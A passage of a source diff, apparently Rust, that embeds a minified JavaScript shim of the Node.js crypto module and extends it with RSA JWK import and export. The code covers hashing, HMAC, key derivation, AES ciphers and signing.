__ensExt(){if(!__ext){__ext=true;__slice_init_crypto_ext();}}function __toBytes(d,enc){if(d instanceof __U8)return d;if(d instanceof ArrayBuffer)return new __U8(d);if(d&&d.buffer instanceof ArrayBuffer)return new __U8(d.buffer,d.byteOffset||0,d.byteLength);__slice_ensure_shard(5);return Buffer.from(String(d),enc||"utf8");}function __catBytes(chunks){if(chunks.length===0)return new __U8(0);if(chunks.length===1)return chunks[0];__slice_ensure_shard(5);return Buffer.concat(chunks);}function __encOut(rawBuf,enc){__slice_ensure_shard(5);var b=Buffer.isBuffer(rawBuf)?rawBuf:Buffer.from(rawBuf);return(!enc||enc==="buffer")?b:b.toString(enc);}function KeyObject(type,alg,crv,id,raw,meta,details){this.type=type;this.asymmetricKeyType=alg;this.asymmetricKeyDetails=details||(crv?{namedCurve:crv}:{});this._id=id||0;this._raw=raw||null;this._meta=meta||null;}KeyObject.prototype.export=function(opts){__ensExt();__slice_ensure_shard(5);var o=opts||{};var fmt=String(o.format||"der").toLowerCase();if(this.type==="secret")return Buffer.from(this._raw);var derB64=(this.type==="private")?(this._meta&&this._meta.pkcs8):(this._meta&&this._meta.spki);var der=derB64?Buffer.from(__slice_base64_decode_bytes(derB64)):Buffer.from(this._raw||[]);if(fmt==="pem"){var label=this.type==="private"?"PRIVATE KEY":"PUBLIC KEY";return"-----BEGIN "+label+"-----\n"+der.toString("base64")+"\n-----END "+label+"-----\n";}if(fmt==="jwk"&&this._meta){if(this.asymmetricKeyType==="ed25519"||this.asymmetricKeyType==="x25519"){var j={kty:"OKP",crv:this.asymmetricKeyType==="x25519"?"X25519":"Ed25519",x:this._meta.x};if(this.type==="private")j.d=this._meta.d;return j;}var je={kty:"EC",crv:this._meta.crv||"P-256",x:this._meta.x,y:this._meta.y};if(this.type==="private")je.d=this._meta.d;return je;}return der;};function __importDerKey(der,fmt){try{var impEd=JSON.parse(__slice_crypto_asym_import("Ed25519","",fmt,der));return new KeyObject(impEd.type,"ed25519",undefined,impEd.id,der,impEd);}catch(_e1){try{var impX=JSON.parse(__slice_crypto_asym_import("X25519","",fmt,der));return new KeyObject(impX.type,"x25519",undefined,impX.id,der,impX);}catch(_eX){try{var impRsa=JSON.parse(__slice_crypto_asym_import("RSA","",fmt,der));return new KeyObject(impRsa.type,"rsa",undefined,impRsa.id,der,impRsa,{modulusLength:2048,publicExponent:65537n});}catch(_eR){try{var impEc256=JSON.parse(__slice_crypto_asym_import("ECDSA","P-256",fmt,der));return new KeyObject(impEc256.type,"ec","P-256",impEc256.id,der,impEc256);}catch(_e2){var impEc384=JSON.parse(__slice_crypto_asym_import("ECDSA","P-384",fmt,der));return new KeyObject(impEc384.type,"ec","P-384",impEc384.id,der,impEc384);}}}}}function __parseKeyObj(k,isPriv){__ensExt();if(k instanceof KeyObject)return k;if(k&&typeof k==="object"&&k._id!==undefined&&k.algorithm){var kn=String(k.algorithm.name||"").toLowerCase();return new KeyObject(k.type,kn==="ecdsa"?"ec":kn,k.algorithm.namedCurve,k._id,k._raw,k._meta);}if(k&&typeof k==="object"&&k.key!==undefined)return __parseKeyObj(k.key,isPriv);var fmt=isPriv?"pkcs8":"spki";if(typeof k==="string"&&k.indexOf("-----BEGIN")!==-1){var body=k.replace(/-----BEGIN [^-]+-----/g,"").replace(/-----END [^-]+-----/g,"").replace(/\s+/g,"");var der=__slice_base64_decode_bytes(body);return __importDerKey(der,fmt);}return __importDerKey(__toBytes(k),fmt);}function __mkHash(a,isSha256,initChunks,initFast,initSBuf){var chunks=initChunks?initChunks.slice():[],strFast=initFast!==undefined?initFast:isSha256,sBuf=initSBuf||"";return{update:function(d,enc){if(strFast&&typeof d==="string"&&(!enc||enc==="utf8"||enc==="utf-8")&&chunks.length===0){sBuf+=d;}else{if(sBuf.length>0){__slice_ensure_shard(5);chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}strFast=false;chunks.push(__toBytes(d,enc));}return this;},copy:function(){return __mkHash(a,isSha256,chunks,strFast,sBuf);},digest:function(enc){if(isSha256&&(enc==="hex"||enc==="base64"||enc==="base64url")){if(strFast&&chunks.length===0){var h=__slice_crypto_sha256(sBuf,enc);sBuf="";return h;}if(sBuf.length===0&&chunks.length===1){var hb=__slice_crypto_sha256(chunks[0],enc);chunks=[];return hb;}}__ensExt();__slice_ensure_shard(5);if(sBuf.length>0){chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}var raw=Buffer.from(__slice_crypto_digest_bytes(a,__catBytes(chunks)));chunks=[];return(!enc||enc==="buffer")?raw:raw.toString(enc);}};}function __mkHmac(a,isSha256,key,initChunks,initFast,initSBuf){var kBytes=null,chunks=initChunks?initChunks.slice():[],strFast=initFast!==undefined?initFast:(isSha256&&typeof key==="string"),kStr=typeof key==="string"?key:"",sBuf=initSBuf||"";return{update:function(d,enc){if(strFast&&typeof d==="string"&&(!enc||enc==="utf8"||enc==="utf-8")&&chunks.length===0){sBuf+=d;}else{if(sBuf.length>0){__slice_ensure_shard(5);chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}strFast=false;chunks.push(__toBytes(d,enc));}return this;},copy:function(){return __mkHmac(a,isSha256,key,chunks,strFast,sBuf);},digest:function(enc){if(isSha256&&(enc==="hex"||enc==="base64"||enc==="base64url")){if(strFast&&chunks.length===0){var h=__slice_crypto_hmac_sha256(kStr,sBuf,enc);sBuf="";return h;}if(sBuf.length===0&&chunks.length===1){if(!kBytes)kBytes=(typeof key==="string")?key:__toBytes(key);var hb=__slice_crypto_hmac_sha256(kBytes,chunks[0],enc);chunks=[];return hb;}}__ensExt();__slice_ensure_shard(5);if(sBuf.length>0){chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}if(!kBytes)kBytes=__toBytes(key);var raw=Buffer.from(__slice_crypto_hmac_bytes(a,kBytes,__catBytes(chunks)));chunks=[];return(!enc||enc==="buffer")?raw:raw.toString(enc);}};}var m={KeyObject:KeyObject,createHash:function(alg){var a=String(alg||"sha256").toLowerCase(),isSha256=(a==="sha256"||a==="sha-256");return __mkHash(a,isSha256);},createHmac:function(alg,key){var a=String(alg||"sha256").toLowerCase(),isSha256=(a==="sha256"||a==="sha-256");return __mkHmac(a,isSha256,key);},randomBytes:function(size,cb){__ensExt();__slice_ensure_shard(5);var b=Buffer.from(__slice_crypto_random_bytes(Number(size)||0));if(typeof cb==="function"){cb(null,b);return;}return b;},randomFillSync:function(buf,offset,size){__ensExt();if(!buf||typeof buf.byteLength!=="number")throw new TypeError("buf must be an ArrayBufferView");var off=offset!==undefined?Number(offset):0;var sz=size!==undefined?Number(size):(buf.byteLength-off);if(off<0||sz<0||off+sz>buf.byteLength)throw new RangeError("offset or size out of bounds");var u8=new __U8(buf.buffer||buf,(buf.byteOffset||0)+off,sz);var rnd=__slice_crypto_random_bytes(sz);u8.set(rnd);return buf;},randomFill:function(buf,offset,size,cb){if(typeof offset==="function"){cb=offset;offset=0;size=buf.byteLength;}else if(typeof size==="function"){cb=size;size=buf.byteLength-Number(offset||0);}try{var r=m.randomFillSync(buf,offset,size);if(typeof cb==="function")queueMicrotask(function(){cb(null,r);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},randomInt:function(min,max,cb){__ensExt();if(typeof max==="function"||max===undefined){cb=max;max=min;min=0;}var lo=Math.ceil(Number(min)),hi=Math.floor(Number(max));if(!(hi>lo))throw new RangeError("max must be greater than min");var range=hi-lo,rb=__slice_crypto_random_bytes(4),u=((rb[0]<<24)>>>0)+((rb[1]<<16)>>>0)+((rb[2]<<8)>>>0)+(rb[3]>>>0);var val=lo+(u%range);if(typeof cb==="function"){queueMicrotask(function(){cb(null,val);});return;}return val;},randomUUID:function(){__ensExt();return __slice_crypto_random_uuid();},getRandomValues:function(ta){__ensExt();return __slice_crypto_get_random_values(ta);},timingSafeEqual:function(a,b){__ensExt();return __slice_crypto_timing_safe_equal(a,b);},pbkdf2Sync:function(password,salt,iterations,keylen,digest){__ensExt();__slice_ensure_shard(5);var ab=__slice_crypto_kdf("PBKDF2",String(digest||"sha256"),__toBytes(password),__toBytes(salt),null,Number(iterations),Number(keylen));return Buffer.from(ab);},pbkdf2:function(password,salt,iterations,keylen,digest,cb){if(typeof digest==="function"){cb=digest;digest="sha1";}try{var b=m.pbkdf2Sync(password,salt,iterations,keylen,digest);if(typeof cb==="function")queueMicrotask(function(){cb(null,b);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},hkdfSync:function(digest,ikm,salt,info,keylen){__ensExt();var ab=__slice_crypto_kdf("HKDF",String(digest||"sha256"),__toBytes(ikm),__toBytes(salt),__toBytes(info),1,Number(keylen));return ab;},hkdf:function(digest,ikm,salt,info,keylen,cb){try{var ab=m.hkdfSync(digest,ikm,salt,info,keylen);if(typeof cb==="function")queueMicrotask(function(){cb(null,ab);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},scryptSync:function(password,salt,keylen,options){__ensExt();__slice_ensure_shard(5);var o=options||{};var N=Number(o.N||o.cost||16384),r=Number(o.r||o.blockSize||8),p=Number(o.p||o.parallelization||1),maxmem=Number(o.maxmem||(32*1024*1024));var ab=__slice_crypto_kdf("SCRYPT","SHA-256",__toBytes(password),__toBytes(salt),null,N,Number(keylen),r,p,maxmem);return Buffer.from(ab);},scrypt:function(password,salt,keylen,options,cb){if(typeof options==="function"){cb=options;options={};}try{var b=m.scryptSync(password,salt,keylen,options);if(typeof cb==="function")queueMicrotask(function(){cb(null,b);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},createCipheriv:function(algorithm,key,iv,options){__ensExt();__slice_ensure_shard(5);var alg=String(algorithm||"").toLowerCase(),isGcm=alg.indexOf("gcm")!==-1,kB=__toBytes(key),ivB=__toBytes(iv),aadB=null,chunks=[],tagBuf=null,autoPad=true,tagLen=(options&&options.authTagLength)?Number(options.authTagLength)*8:128;var hid=__slice_crypto_key_register(isGcm?"AES-GCM":"AES-CBC","",kB);return{setAAD:function(buf){aadB=__toBytes(buf);return this;},setAutoPadding:function(ap){autoPad=(ap===undefined)?true:Boolean(ap);return this;},update:function(data,inEnc,outEnc){chunks.push(__toBytes(data,inEnc));return __encOut(new __U8(0),outEnc);},final:function(outEnc){var plain=__catBytes(chunks);chunks=[];var ab=__slice_crypto_cipher(isGcm?"AES-GCM":"AES-CBC",true,hid,kB,ivB,aadB,tagLen,plain,autoPad);var full=new __U8(ab);if(isGcm){var tBytes=tagLen/8;var cLen=full.byteLength-tBytes;tagBuf=Buffer.from(full.subarray(cLen));return __encOut(full.subarray(0,cLen),outEnc);}return __encOut(full,outEnc);},getAuthTag:function(){if(!isGcm||!tagBuf)throw new Error("ERR_CRYPTO_INVALID_STATE: getAuthTag requires finalized GCM cipher");return tagBuf;}};},createDecipheriv:function(algorithm,key,iv,options){__ensExt();__slice_ensure_shard(5);var alg=String(algorithm||"").toLowerCase(),isGcm=alg.indexOf("gcm")!==-1,kB=__toBytes(key),ivB=__toBytes(iv),aadB=null,chunks=[],authTag=null,autoPad=true,tagLen=(options&&options.authTagLength)?Number(options.authTagLength)*8:128;var hid=__slice_crypto_key_register(isGcm?"AES-GCM":"AES-CBC","",kB);return{setAAD:function(buf){aadB=__toBytes(buf);return this;},setAuthTag:function(buf,enc){authTag=__toBytes(buf,enc);return this;},setAutoPadding:function(ap){autoPad=(ap===undefined)?true:Boolean(ap);return this;},update:function(data,inEnc,outEnc){chunks.push(__toBytes(data,inEnc));return __encOut(new __U8(0),outEnc);},final:function(outEnc){var ciph=__catBytes(chunks);chunks=[];if(isGcm){if(!authTag)throw new Error("ERR_CRYPTO_INVALID_STATE: Unsupported state or unable to authenticate data (missing authTag)");var combined=new __U8(ciph.byteLength+authTag.byteLength);combined.set(ciph,0);combined.set(authTag,ciph.byteLength);var ab=__slice_crypto_cipher("AES-GCM",false,hid,kB,ivB,aadB,tagLen,combined,true);return __encOut(new __U8(ab),outEnc);}var abC=__slice_crypto_cipher("AES-CBC",false,hid,kB,ivB,null,128,ciph,autoPad);return __encOut(new __U8(abC),outEnc);}};},generateKeyPairSync:function(type,options){__ensExt();__slice_ensure_shard(5);var t=typeof type==="string"?type.toLowerCase():"";if(t!=="ed25519"&&t!=="x25519"&&t!=="ec"&&t!=="rsa"&&t!=="rsa-pss"&&t!=="dsa"){var eType=new TypeError("The argument 'type' must be a supported key type. Received '"+String(type)+"'");eType.code="ERR_INVALID_ARG_VALUE";throw eType;}var o=options||{};var info,details=undefined;if(t==="ed25519"){info=JSON.parse(__slice_crypto_asym_keygen("Ed25519",""));}else if(t==="x25519"){info=JSON.parse(__slice_crypto_asym_keygen("X25519",""));}else if(t==="rsa"||t==="rsa-pss"){info=JSON.parse(__slice_crypto_asym_keygen("RSA",""));details={modulusLength:Number(o.modulusLength)||2048,publicExponent:BigInt(o.publicExponent||65537)};}else if(t==="dsa"){info=JSON.parse(__slice_crypto_asym_keygen("ECDSA","P-256"));details={modulusLength:Number(o.modulusLength)||2048,divisorLength:Number(o.divisorLength)||256};}else{info=JSON.parse(__slice_crypto_asym_keygen("ECDSA",String(o.namedCurve||"P-256")));}var crv=(t==="ec")?(info.crv||"P-256"):undefined;var pubKO=new KeyObject("public",t,crv,info.pubId,__slice_base64_decode_bytes(info.spki),info,details);var privKO=new KeyObject("private",t,crv,info.privId,__slice_base64_decode_bytes(info.pkcs8),info,details);var pubOut=o.publicKeyEncoding?pubKO.export(o.publicKeyEncoding):pubKO;var privOut=o.privateKeyEncoding?privKO.export(o.privateKeyEncoding):privKO;return{publicKey:pubOut,privateKey:privOut};},generateKeyPair:function(type,options,cb){if(typeof options==="function"){cb=options;options={};}try{var kp=m.generateKeyPairSync(type,options);if(typeof cb==="function")queueMicrotask(function(){cb(null,kp.publicKey,kp.privateKey);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},createPrivateKey:function(k){return __parseKeyObj(k,true);},createPublicKey:function(k){return __parseKeyObj(k,false);},createSecretKey:function(k,enc){__slice_ensure_shard(5);var b=__toBytes(k,enc);return new KeyObject("secret","secret",undefined,0,b,null);},sign:function(alg,data,key,cb){__ensExt();__slice_ensure_shard(5);try{var ko=__parseKeyObj(key,true);var dsaEnc=(key&&typeof key==="object"&&key.dsaEncoding)?String(key.dsaEncoding):"der";var hostAlg=ko.asymmetricKeyType==="ed25519"?"Ed25519":((ko.asymmetricKeyType==="rsa"||ko.asymmetricKeyType==="rsa-pss")?"RSA":"ECDSA");var ab=__slice_crypto_asym_sign(hostAlg,ko.asymmetricKeyDetails.namedCurve||"P-256",ko._id,ko._raw,__toBytes(data),dsaEnc!=="ieee-p1363");var b=Buffer.from(ab);if(typeof cb==="function"){queueMicrotask(function(){cb(null,b);});return;}return b;}catch(e){if(typeof cb==="function"){queueMicrotask(function(){cb(e);});return;}throw e;}},verify:function(alg,data,key,sig,cb){__ensExt();try{var ko=__parseKeyObj(key,false);var hostAlg=ko.asymmetricKeyType==="ed25519"?"Ed25519":((ko.asymmetricKeyType==="rsa"||ko.asymmetricKeyType==="rsa-pss")?"RSA":"ECDSA");var ok=Boolean(__slice_crypto_asym_verify(hostAlg,ko.asymmetricKeyDetails.namedCurve||"P-256",ko._id,ko._raw,__toBytes(sig),__toBytes(data)));if(typeof cb==="function"){queueMicrotask(function(){cb(null,ok);});return;}return ok;}catch(e){if(typeof cb==="function"){queueMicrotask(function(){cb(e);});return;}throw e;}},createSign:function(_alg){var chunks=[];return{update:function(d,enc){chunks.push(__toBytes(d,enc));return this;},sign:function(key,outEnc){var sig=m.sign(null,__catBytes(chunks),key);chunks=[];return(!outEnc||outEnc==="buffer")?sig:sig.toString(outEnc);}};},createVerify:function(_alg){var chunks=[];return{update:function(d,enc){chunks.push(__toBytes(d,enc));return this;},verify:function(key,sig,sigEnc){var sB=typeof sig==="string"?__toBytes(sig,sigEnc||"base64"):__toBytes(sig);var ok=m.verify(null,__catBytes(chunks),key,sB);chunks=[];return ok;}};},getHashes:function(){return["sha1","sha256","sha384","sha512","md5"];},getCiphers:function(){return["aes-128-gcm","aes-256-gcm","aes-128-cbc","aes-256-cbc"];},get subtle(){__slice_ensure_shard(4);return globalThis.crypto.subtle;},get webcrypto(){__slice_ensure_shard(4);return globalThis.crypto;}};m.default=m;m.__esModule=true;return __slice_builtins["crypto"]=__slice_builtins["node:crypto"]=m;})();"#; +const BUILTIN_CRYPTO_SNIPPET: &[u8] = br#"(function(){var __U8=globalThis.Uint8Array,__ext=false;function __ensExt(){if(!__ext){__ext=true;__slice_init_crypto_ext();}}function __toBytes(d,enc){if(d instanceof __U8)return d;if(d instanceof ArrayBuffer)return new __U8(d);if(d&&d.buffer instanceof ArrayBuffer)return new __U8(d.buffer,d.byteOffset||0,d.byteLength);__slice_ensure_shard(5);return Buffer.from(String(d),enc||"utf8");}function __catBytes(chunks){if(chunks.length===0)return new __U8(0);if(chunks.length===1)return chunks[0];__slice_ensure_shard(5);return Buffer.concat(chunks);}function __encOut(rawBuf,enc){__slice_ensure_shard(5);var b=Buffer.isBuffer(rawBuf)?rawBuf:Buffer.from(rawBuf);return(!enc||enc==="buffer")?b:b.toString(enc);}function KeyObject(type,alg,crv,id,raw,meta,details){this.type=type;this.asymmetricKeyType=alg;this.asymmetricKeyDetails=details||(crv?{namedCurve:crv}:{});this._id=id||0;this._raw=raw||null;this._meta=meta||null;}KeyObject.prototype.export=function(opts){__ensExt();__slice_ensure_shard(5);var o=opts||{};var fmt=String(o.format||"der").toLowerCase();if(this.type==="secret")return Buffer.from(this._raw);var derB64=(this.type==="private")?(this._meta&&this._meta.pkcs8):(this._meta&&this._meta.spki);var der=derB64?Buffer.from(__slice_base64_decode_bytes(derB64)):Buffer.from(this._raw||[]);if(fmt==="pem"){var label=this.type==="private"?"PRIVATE KEY":"PUBLIC KEY";return"-----BEGIN "+label+"-----\n"+der.toString("base64")+"\n-----END "+label+"-----\n";}if(fmt==="jwk"&&this._meta){if(this.asymmetricKeyType==="ed25519"||this.asymmetricKeyType==="x25519"){var j={kty:"OKP",crv:this.asymmetricKeyType==="x25519"?"X25519":"Ed25519",x:this._meta.x};if(this.type==="private")j.d=this._meta.d;return j;}if(this.asymmetricKeyType==="rsa"||this.asymmetricKeyType==="rsa-pss"){var jr={kty:"RSA",n:this._meta.n,e:this._meta.e};if(this.type==="private"){jr.d=this._meta.d;jr.p=this._meta.p;jr.q=this._meta.q;jr.dp=this._meta.dp;jr.dq=this._meta.dq;jr.qi=this._meta.qi;}return jr;}var je={kty:"EC",crv:this._meta.crv||"P-256",x:this._meta.x,y:this._meta.y};if(this.type==="private")je.d=this._meta.d;return je;}return der;};function __importDerKey(der,fmt){try{var impEd=JSON.parse(__slice_crypto_asym_import("Ed25519","",fmt,der));return new KeyObject(impEd.type,"ed25519",undefined,impEd.id,der,impEd);}catch(_e1){try{var impX=JSON.parse(__slice_crypto_asym_import("X25519","",fmt,der));return new KeyObject(impX.type,"x25519",undefined,impX.id,der,impX);}catch(_eX){try{var impRsa=JSON.parse(__slice_crypto_asym_import("RSA","",fmt,der));return new KeyObject(impRsa.type,"rsa",undefined,impRsa.id,der,impRsa,{modulusLength:impRsa.modulusLength,publicExponent:BigInt(impRsa.publicExponent)});}catch(_eR){try{var impEc256=JSON.parse(__slice_crypto_asym_import("ECDSA","P-256",fmt,der));return new KeyObject(impEc256.type,"ec","P-256",impEc256.id,der,impEc256);}catch(_e2){var impEc384=JSON.parse(__slice_crypto_asym_import("ECDSA","P-384",fmt,der));return new KeyObject(impEc384.type,"ec","P-384",impEc384.id,der,impEc384);}}}}}function __importJwkKey(jwk,isPriv){var j=(!isPriv&&jwk&&jwk.d)?{kty:jwk.kty,crv:jwk.crv,x:jwk.x,y:jwk.y,n:jwk.n,e:jwk.e}:jwk;var js=JSON.stringify(j);if(j&&j.kty==="RSA"){var ir=JSON.parse(__slice_crypto_asym_import("RSA","","jwk",js));return new KeyObject(ir.type,"rsa",undefined,ir.id,__slice_base64_decode_bytes(ir.type==="private"?ir.pkcs8:ir.spki),ir,{modulusLength:ir.modulusLength,publicExponent:BigInt(ir.publicExponent)});}if(j&&j.kty==="OKP"&&j.crv==="X25519"){var ix=JSON.parse(__slice_crypto_asym_import("X25519","","jwk",js));return new KeyObject(ix.type,"x25519",undefined,ix.id,__slice_base64_decode_bytes(ix.type==="private"?ix.pkcs8:ix.spki),ix);}if(j&&j.kty==="OKP"){var ie=JSON.parse(__slice_crypto_asym_import("Ed25519","","jwk",js));return new KeyObject(ie.type,"ed25519",undefined,ie.id,__slice_base64_decode_bytes(ie.type==="private"?ie.pkcs8:ie.spki),ie);}var ic=JSON.parse(__slice_crypto_asym_import("ECDSA",String((j&&j.crv)||"P-256"),"jwk",js));return new KeyObject(ic.type,"ec",ic.crv,ic.id,__slice_base64_decode_bytes(ic.type==="private"?ic.pkcs8:ic.spki),ic);}function __parseKeyObj(k,isPriv){__ensExt();if(k instanceof KeyObject){if(!isPriv&&k.type==="private"&&k._meta&&k._meta.spki)return __importDerKey(__slice_base64_decode_bytes(k._meta.spki),"spki");return k;}if(k&&typeof k==="object"&&k._id!==undefined&&k.algorithm){var kn=String(k.algorithm.name||"").toLowerCase();var kt=kn==="ecdsa"?"ec":(kn==="rsassa-pkcs1-v1_5"?"rsa":kn);var det=k.algorithm.modulusLength?{modulusLength:k.algorithm.modulusLength,publicExponent:65537n}:undefined;return new KeyObject(k.type,kt,k.algorithm.namedCurve,k._id,k._raw,k._meta,det);}if(k&&typeof k==="object"&&k.key!==undefined){if(String(k.format||"").toLowerCase()==="jwk")return __importJwkKey(k.key,isPriv);return __parseKeyObj(k.key,isPriv);}var fmt=isPriv?"pkcs8":"spki";if(typeof k==="string"&&k.indexOf("-----BEGIN")!==-1){var body=k.replace(/-----BEGIN [^-]+-----/g,"").replace(/-----END [^-]+-----/g,"").replace(/\s+/g,"");var der=__slice_base64_decode_bytes(body);if(!isPriv&&k.indexOf("PRIVATE KEY-----")!==-1){var pko=__importDerKey(der,"pkcs8");return __importDerKey(__slice_base64_decode_bytes(pko._meta.spki),"spki");}return __importDerKey(der,fmt);}return __importDerKey(__toBytes(k),fmt);}function __mkHash(a,isSha256,initChunks,initFast,initSBuf){var chunks=initChunks?initChunks.slice():[],strFast=initFast!==undefined?initFast:isSha256,sBuf=initSBuf||"";return{update:function(d,enc){if(strFast&&typeof d==="string"&&(!enc||enc==="utf8"||enc==="utf-8")&&chunks.length===0){sBuf+=d;}else{if(sBuf.length>0){__slice_ensure_shard(5);chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}strFast=false;chunks.push(__toBytes(d,enc));}return this;},copy:function(){return __mkHash(a,isSha256,chunks,strFast,sBuf);},digest:function(enc){if(isSha256&&(enc==="hex"||enc==="base64"||enc==="base64url")){if(strFast&&chunks.length===0){var h=__slice_crypto_sha256(sBuf,enc);sBuf="";return h;}if(sBuf.length===0&&chunks.length===1){var hb=__slice_crypto_sha256(chunks[0],enc);chunks=[];return hb;}}__ensExt();__slice_ensure_shard(5);if(sBuf.length>0){chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}var raw=Buffer.from(__slice_crypto_digest_bytes(a,__catBytes(chunks)));chunks=[];return(!enc||enc==="buffer")?raw:raw.toString(enc);}};}function __mkHmac(a,isSha256,key,initChunks,initFast,initSBuf){var kBytes=null,chunks=initChunks?initChunks.slice():[],strFast=initFast!==undefined?initFast:(isSha256&&typeof key==="string"),kStr=typeof key==="string"?key:"",sBuf=initSBuf||"";return{update:function(d,enc){if(strFast&&typeof d==="string"&&(!enc||enc==="utf8"||enc==="utf-8")&&chunks.length===0){sBuf+=d;}else{if(sBuf.length>0){__slice_ensure_shard(5);chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}strFast=false;chunks.push(__toBytes(d,enc));}return this;},copy:function(){return __mkHmac(a,isSha256,key,chunks,strFast,sBuf);},digest:function(enc){if(isSha256&&(enc==="hex"||enc==="base64"||enc==="base64url")){if(strFast&&chunks.length===0){var h=__slice_crypto_hmac_sha256(kStr,sBuf,enc);sBuf="";return h;}if(sBuf.length===0&&chunks.length===1){if(!kBytes)kBytes=(typeof key==="string")?key:__toBytes(key);var hb=__slice_crypto_hmac_sha256(kBytes,chunks[0],enc);chunks=[];return hb;}}__ensExt();__slice_ensure_shard(5);if(sBuf.length>0){chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}if(!kBytes)kBytes=__toBytes(key);var raw=Buffer.from(__slice_crypto_hmac_bytes(a,kBytes,__catBytes(chunks)));chunks=[];return(!enc||enc==="buffer")?raw:raw.toString(enc);}};}var m={KeyObject:KeyObject,constants:{RSA_PKCS1_PADDING:1,RSA_PKCS1_PSS_PADDING:6,RSA_PSS_SALTLEN_DIGEST:-1,RSA_PSS_SALTLEN_MAX_SIGN:-2},createHash:function(alg){var a=String(alg||"sha256").toLowerCase(),isSha256=(a==="sha256"||a==="sha-256");return __mkHash(a,isSha256);},createHmac:function(alg,key){var a=String(alg||"sha256").toLowerCase(),isSha256=(a==="sha256"||a==="sha-256");return __mkHmac(a,isSha256,key);},randomBytes:function(size,cb){__ensExt();__slice_ensure_shard(5);var b=Buffer.from(__slice_crypto_random_bytes(Number(size)||0));if(typeof cb==="function"){cb(null,b);return;}return b;},randomFillSync:function(buf,offset,size){__ensExt();if(!buf||typeof buf.byteLength!=="number")throw new TypeError("buf must be an ArrayBufferView");var off=offset!==undefined?Number(offset):0;var sz=size!==undefined?Number(size):(buf.byteLength-off);if(off<0||sz<0||off+sz>buf.byteLength)throw new RangeError("offset or size out of bounds");var u8=new __U8(buf.buffer||buf,(buf.byteOffset||0)+off,sz);var rnd=__slice_crypto_random_bytes(sz);u8.set(rnd);return buf;},randomFill:function(buf,offset,size,cb){if(typeof offset==="function"){cb=offset;offset=0;size=buf.byteLength;}else if(typeof size==="function"){cb=size;size=buf.byteLength-Number(offset||0);}try{var r=m.randomFillSync(buf,offset,size);if(typeof cb==="function")queueMicrotask(function(){cb(null,r);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},randomInt:function(min,max,cb){__ensExt();if(typeof max==="function"||max===undefined){cb=max;max=min;min=0;}var lo=Math.ceil(Number(min)),hi=Math.floor(Number(max));if(!(hi>lo))throw new RangeError("max must be greater than min");var range=hi-lo,rb=__slice_crypto_random_bytes(4),u=((rb[0]<<24)>>>0)+((rb[1]<<16)>>>0)+((rb[2]<<8)>>>0)+(rb[3]>>>0);var val=lo+(u%range);if(typeof cb==="function"){queueMicrotask(function(){cb(null,val);});return;}return val;},randomUUID:function(){__ensExt();return __slice_crypto_random_uuid();},getRandomValues:function(ta){__ensExt();return __slice_crypto_get_random_values(ta);},timingSafeEqual:function(a,b){__ensExt();return __slice_crypto_timing_safe_equal(a,b);},pbkdf2Sync:function(password,salt,iterations,keylen,digest){__ensExt();__slice_ensure_shard(5);var ab=__slice_crypto_kdf("PBKDF2",String(digest||"sha256"),__toBytes(password),__toBytes(salt),null,Number(iterations),Number(keylen));return Buffer.from(ab);},pbkdf2:function(password,salt,iterations,keylen,digest,cb){if(typeof digest==="function"){cb=digest;digest="sha1";}try{var b=m.pbkdf2Sync(password,salt,iterations,keylen,digest);if(typeof cb==="function")queueMicrotask(function(){cb(null,b);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},hkdfSync:function(digest,ikm,salt,info,keylen){__ensExt();var ab=__slice_crypto_kdf("HKDF",String(digest||"sha256"),__toBytes(ikm),__toBytes(salt),__toBytes(info),1,Number(keylen));return ab;},hkdf:function(digest,ikm,salt,info,keylen,cb){try{var ab=m.hkdfSync(digest,ikm,salt,info,keylen);if(typeof cb==="function")queueMicrotask(function(){cb(null,ab);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},scryptSync:function(password,salt,keylen,options){__ensExt();__slice_ensure_shard(5);var o=options||{};var N=Number(o.N||o.cost||16384),r=Number(o.r||o.blockSize||8),p=Number(o.p||o.parallelization||1),maxmem=Number(o.maxmem||(32*1024*1024));var ab=__slice_crypto_kdf("SCRYPT","SHA-256",__toBytes(password),__toBytes(salt),null,N,Number(keylen),r,p,maxmem);return Buffer.from(ab);},scrypt:function(password,salt,keylen,options,cb){if(typeof options==="function"){cb=options;options={};}try{var b=m.scryptSync(password,salt,keylen,options);if(typeof cb==="function")queueMicrotask(function(){cb(null,b);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},createCipheriv:function(algorithm,key,iv,options){__ensExt();__slice_ensure_shard(5);var alg=String(algorithm||"").toLowerCase(),isGcm=alg.indexOf("gcm")!==-1,kB=__toBytes(key),ivB=__toBytes(iv),aadB=null,chunks=[],tagBuf=null,autoPad=true,tagLen=(options&&options.authTagLength)?Number(options.authTagLength)*8:128;var hid=__slice_crypto_key_register(isGcm?"AES-GCM":"AES-CBC","",kB);return{setAAD:function(buf){aadB=__toBytes(buf);return this;},setAutoPadding:function(ap){autoPad=(ap===undefined)?true:Boolean(ap);return this;},update:function(data,inEnc,outEnc){chunks.push(__toBytes(data,inEnc));return __encOut(new __U8(0),outEnc);},final:function(outEnc){var plain=__catBytes(chunks);chunks=[];var ab=__slice_crypto_cipher(isGcm?"AES-GCM":"AES-CBC",true,hid,kB,ivB,aadB,tagLen,plain,autoPad);var full=new __U8(ab);if(isGcm){var tBytes=tagLen/8;var cLen=full.byteLength-tBytes;tagBuf=Buffer.from(full.subarray(cLen));return __encOut(full.subarray(0,cLen),outEnc);}return __encOut(full,outEnc);},getAuthTag:function(){if(!isGcm||!tagBuf)throw new Error("ERR_CRYPTO_INVALID_STATE: getAuthTag requires finalized GCM cipher");return 